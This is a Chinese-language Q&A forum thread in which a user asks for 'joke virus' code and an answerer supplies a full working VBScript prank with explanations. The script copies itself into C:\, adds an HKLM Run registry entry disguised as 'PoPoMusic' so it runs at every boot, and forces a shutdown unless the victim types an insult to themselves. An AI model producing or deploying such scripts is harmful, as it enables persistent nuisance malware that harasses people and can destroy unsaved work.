怎样保存vbe格式

我想搞一下玩笑病毒，但是我不知到怎样把后缀.TXT改成.vbe请高手赐教！！
还有什么玩笑病毒的代码发来看看，并说明

直接把.txt改成.vbe就OK了= =！就用修改名称的方法修改。是有一些玩笑程序，但是说病毒显然不合理了。
我懒得自己写了，总之我给你的这个麻烦了。简单得多就能弄好。
on error resume next
'modify by Yison Zhao
'Copy the .vbs file to c:\windows.vbe
Set MyFileObject=CreateObject("Scripting.FileSystemObject")
MyFileObject.CopyFile "我是猪.vbe","c:\windows.vbe"
'Copy end

'write a new item in regedit\run
Dim AutoRunProgram
Set AutoRunProgram=Wscript.CreateObject("Wscript.Shell")
RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name="REG_SZ"
Key_Name="PoPoMusic"
Key_Data="c:\windows.vbe"
AutoRunProgram.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'write end
'modify by Yison Zhao
'main program
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不然一分钟后关你电脑，不信？试试看……"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说“我是猪”,就可以取消关机，快啊!说 “我是猪” ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就对了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "嘿嘿!"
MsgBox("下次启动再找你玩!")
'main end
用不了这么长。这是最基础的，你可以自己修改。msgbox是一个没有输入没有取消的对话框。chr(13)就是一个回车.inputbox是对话框，有输入确定取消。while是个循环loop结尾。on errow resuem next就是有错误跳过读下一行

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息